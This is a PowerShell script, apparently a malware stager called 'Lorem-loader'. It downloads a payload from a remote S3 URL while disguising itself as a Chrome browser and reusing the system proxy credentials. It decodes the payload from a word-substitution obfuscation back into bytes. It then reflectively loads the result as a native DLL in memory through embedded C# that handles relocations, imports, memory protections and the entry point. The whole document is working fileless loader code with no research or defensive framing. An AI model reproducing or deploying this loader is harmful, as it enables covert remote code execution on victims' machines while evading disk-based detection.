# ------------------------------------------------------- # Lorem-loader | fetch -> decode -> native DLL load # ------------------------------------------------------- $payloadUrl = "https://pt-pba.s3.eu-north-1.amazonaws.com/ref-amlin/wkd.txt" # Reverse dictionary: word -> byte $dict = @{ "about"=0; "above"=1; "across"=2; "after"=3; "again"=4; "against"=5; "agency"=6; "agent"=7; "agree"=8; "ahead"=9; "allow"=10; "almost"=11; "alone"=12; "along"=13; "already"=14; "always"=15; "among"=16; "amount"=17; "animal"=18; "answer"=19; "argue"=20; "around"=21; "assume"=22; "attack"=23; "available"=24; "avoid"=25; "away"=26; "baby"=27; "back"=28; "ball"=29; "base"=30; "beat"=31; "beauty"=32; "become"=33; "before"=34; "begin"=35; "behavior"=36; "behind"=37; "believe"=38; "benefit"=39; "between"=40; "beyond"=41; "black"=42; "blood"=43; "board"=44; "body"=45; "book"=46; "born"=47; "break"=48; "bring"=49; "brother"=50; "budget"=51; "build"=52; "burn"=53; "business"=54; "call"=55; "camera"=56; "campaign"=57; "capital"=58; "career"=59; "carry"=60; "case"=61; "catch"=62; "cause"=63; "center"=64; "chair"=65; "chance"=66; "change"=67; "charge"=68; "choice"=69; "choose"=70; "civil"=71; "claim"=72; "class"=73; "clear"=74; "close"=75; "coach"=76; "color"=77; "common"=78; "community"=79; "company"=80; "compare"=81; "concern"=82; "condition"=83; "control"=84; "court"=85; "cover"=86; "create"=87; "crime"=88; "culture"=89; "current"=90; "dark"=91; "data"=92; "dead"=93; "deal"=94; "death"=95; "decide"=96; "defense"=97; "define"=98; "degree"=99; "describe"=100; "design"=101; "detail"=102; "develop"=103; "dinner"=104; "direction"=105; "discover"=106; "discuss"=107; "draw"=108; "dream"=109; "drive"=110; "drop"=111; "early"=112; "economy"=113; "edge"=114; "effect"=115; "effort"=116; "either"=117; "employee"=118; "energy"=119; "enjoy"=120; "enter"=121; "entire"=122; "environment"=123; "equal"=124; "escape"=125; "event"=126; "ever"=127; "every"=128; "example"=129; "exist"=130; "expect"=131; "experience"=132; "explain"=133; "face"=134; "fall"=135; "family"=136; "fast"=137; "fear"=138; "feel"=139; "field"=140; "figure"=141; "final"=142; "find"=143; "fire"=144; "first"=145; "five"=146; "floor"=147; "focus"=148; "follow"=149; "force"=150; "foreign"=151; "forward"=152; "four"=153; "free"=154; "front"=155; "full"=156; "fund"=157; "game"=158; "garden"=159; "general"=160; "give"=161; "glass"=162; "government"=163; "great"=164; "green"=165; "ground"=166; "group"=167; "grow"=168; "guess"=169; "guest"=170; "guide"=171; "happen"=172; "hard"=173; "head"=174; "health"=175; "heart"=176; "heavy"=177; "help"=178; "high"=179; "history"=180; "hold"=181; "home"=182; "hope"=183; "hour"=184; "house"=185; "human"=186; "hundred"=187; "image"=188; "impact"=189; "include"=190; "increase"=191; "industry"=192; "instead"=193; "interest"=194; "involve"=195; "issue"=196; "item"=197; "join"=198; "keep"=199; "kind"=200; "know"=201; "large"=202; "last"=203; "late"=204; "lead"=205; "learn"=206; "leave"=207; "legal"=208; "less"=209; "level"=210; "life"=211; "light"=212; "likely"=213; "line"=214; "link"=215; "list"=216; "listen"=217; "live"=218; "local"=219; "long"=220; "lose"=221; "loss"=222; "love"=223; "lower"=224; "make"=225; "many"=226; "market"=227; "matter"=228; "mean"=229; "meet"=230; "member"=231; "mind"=232; "miss"=233; "model"=234; "money"=235; "month"=236; "mother"=237; "move"=238; "music"=239; "nation"=240; "natural"=241; "near"=242; "need"=243; "never"=244; "news"=245; "next"=246; "night"=247; "none"=248; "north"=249; "note"=250; "nothing"=251; "notice"=252; "number"=253; "offer"=254; "office"=255 } # -- Fetch & decode ------------------------------------- $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36") $wc.Proxy = [Net.WebRequest]::GetSystemWebProxy() $wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials $raw = $wc.DownloadString($payloadUrl) $words = $raw -split "`n" | Where-Object { $_ -ne '' } $bytes = [byte[]]::new($words.Count) for ($i = 0; $i -lt $words.Count; $i++) { $bytes[$i] = [byte]$dict[$words[$i].Trim()] } # -- Native PE loader (C# via Add-Type) ---------------- $src = @' using System; using System.Runtime.InteropServices; public class LdrNative { [DllImport("kernel32.dll", SetLastError=true)] static extern IntPtr VirtualAlloc(IntPtr addr, UIntPtr size, uint allocType, uint protect); [DllImport("kernel32.dll", SetLastError=true)] static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt); [DllImport("kernel32.dll", SetLastError=true)] static extern IntPtr LoadLibraryA(string name); [DllImport("kernel32.dll", EntryPoint="GetProcAddress", SetLastError=true)] static extern IntPtr GetProcAddressByName(IntPtr hMod, string proc); [DllImport("kernel32.dll", EntryPoint="GetProcAddress", SetLastError=true)] static extern IntPtr GetProcAddressByOrdinal(IntPtr hMod, IntPtr ordinal); [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] static extern bool FlushInstructionCache(IntPtr hProc, IntPtr baseAddr, UIntPtr size); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate bool DllMainProc(IntPtr hModule, uint reason, IntPtr reserved); // IMAGE_OPTIONAL_HEADER64 offsets const int OFF_EP = 16; // AddressOfEntryPoint const int OFF_BASE = 24; // ImageBase const int OFF_IMGSZ = 56; // SizeOfImage const int OFF_HDRSZ = 60; // SizeOfHeaders const int OFF_IMP = 120; // DataDirectory[1] Import RVA (112 + 1*8) const int OFF_REL = 152; // DataDirectory[5] BaseReloc RVA (112 + 5*8) public static void Load(byte[] raw) { int eLfanew = BitConverter.ToInt32(raw, 60); int optBase = eLfanew + 24; int numSec = BitConverter.ToInt16(raw, eLfanew + 6); int optSz = BitConverter.ToInt16(raw, eLfanew + 20); int secTbl = optBase + optSz; long prefBase = BitConverter.ToInt64(raw, optBase + OFF_BASE); int sizeOfImage = BitConverter.ToInt32(raw, optBase + OFF_IMGSZ); int sizeOfHdrs = BitConverter.ToInt32(raw, optBase + OFF_HDRSZ); int epRVA = BitConverter.ToInt32(raw, optBase + OFF_EP); IntPtr imageBase = VirtualAlloc(new IntPtr(prefBase), (UIntPtr)sizeOfImage, 0x3000, 0x04); if (imageBase == IntPtr.Zero) imageBase = VirtualAlloc(IntPtr.Zero, (UIntPtr)sizeOfImage, 0x3000, 0x04); if (imageBase == IntPtr.Zero) throw new Exception("VirtualAlloc failed: " + Marshal.GetLastWin32Error()); Marshal.Copy(raw, 0, imageBase, sizeOfHdrs); for (int i = 0; i < numSec; i++) { int sh = secTbl + i * 40; int va = BitConverter.ToInt32(raw, sh + 12); int sr = BitConverter.ToInt32(raw, sh + 16); int pt = BitConverter.ToInt32(raw, sh + 20); if (sr == 0) continue; Marshal.Copy(raw, pt, new IntPtr(imageBase.ToInt64() + va), sr); } long delta = imageBase.ToInt64() - prefBase; if (delta != 0) { int relRVA = Marshal.ReadInt32(new IntPtr(imageBase.ToInt64() + optBase + OFF_REL)); int relSize = Marshal.ReadInt32(new IntPtr(imageBase.ToInt64() + optBase + OFF_REL + 4)); if (relRVA != 0) { long p = imageBase.ToInt64() + relRVA; long e = p + relSize; while (p < e) { int pageRVA = Marshal.ReadInt32(new IntPtr(p)); int blkSz = Marshal.ReadInt32(new IntPtr(p + 4)); if (blkSz == 0) break; int n = (blkSz - 8) / 2; for (int j = 0; j < n; j++) { short ent = Marshal.ReadInt16(new IntPtr(p + 8 + j * 2)); int type = (ent >> 12) & 0xF; int off = ent & 0xFFF; IntPtr patch = new IntPtr(imageBase.ToInt64() + pageRVA + off); if (type == 10) Marshal.WriteInt64(patch, Marshal.ReadInt64(patch) + delta); else if (type == 3) Marshal.WriteInt32(patch, (int)(Marshal.ReadInt32(patch) + (int)delta)); } p += blkSz; } } } int impRVA = Marshal.ReadInt32(new IntPtr(imageBase.ToInt64() + optBase + OFF_IMP)); if (impRVA != 0) { long idt = imageBase.ToInt64() + impRVA; while (true) { int origThunk = Marshal.ReadInt32(new IntPtr(idt)); int nameRVA = Marshal.ReadInt32(new IntPtr(idt + 12)); int iatRVA = Marshal.ReadInt32(new IntPtr(idt + 16)); if (nameRVA == 0) break; string dll = Marshal.PtrToStringAnsi(new IntPtr(imageBase.ToInt64() + nameRVA)); IntPtr hLib = LoadLibraryA(dll); if (hLib == IntPtr.Zero) throw new Exception("LoadLibrary failed: " + dll); long thunk = imageBase.ToInt64() + iatRVA; long oThunk = origThunk != 0 ? imageBase.ToInt64() + origThunk : thunk; while (true) { long val = Marshal.ReadInt64(new IntPtr(oThunk)); if (val == 0) break; IntPtr fn; if ((val & unchecked((long)0x8000000000000000L)) != 0) fn = GetProcAddressByOrdinal(hLib, new IntPtr(val & 0xFFFF)); else fn = GetProcAddressByName(hLib, Marshal.PtrToStringAnsi(new IntPtr(imageBase.ToInt64() + val + 2))); if (fn == IntPtr.Zero) throw new Exception("GetProcAddress failed in " + dll); Marshal.WriteIntPtr(new IntPtr(thunk), fn); thunk += 8; oThunk += 8; } idt += 20; } } for (int i = 0; i < numSec; i++) { int sh = secTbl + i * 40; int va = BitConverter.ToInt32(raw, sh + 12); int vs = BitConverter.ToInt32(raw, sh + 8); uint ch = BitConverter.ToUInt32(raw, sh + 36); uint prot = SectionProt(ch); uint old; VirtualProtect(new IntPtr(imageBase.ToInt64() + va), (UIntPtr)(vs == 0 ? 1 : vs), prot, out old); } FlushInstructionCache(GetCurrentProcess(), imageBase, (UIntPtr)sizeOfImage); if (epRVA != 0) { IntPtr ep = new IntPtr(imageBase.ToInt64() + epRVA); var dllMain = (DllMainProc)Marshal.GetDelegateForFunctionPointer(ep, typeof(DllMainProc)); dllMain(imageBase, 1, IntPtr.Zero); } } static uint SectionProt(uint ch) { bool x = (ch & 0x20000000) != 0; bool r = (ch & 0x40000000) != 0; bool w = (ch & 0x80000000) != 0; if (x && w) return 0x40; if (x && r) return 0x20; if (x) return 0x10; if (w) return 0x04; return 0x02; } } '@ Add-Type -TypeDefinition $src -Language CSharp [LdrNative]::Load($bytes)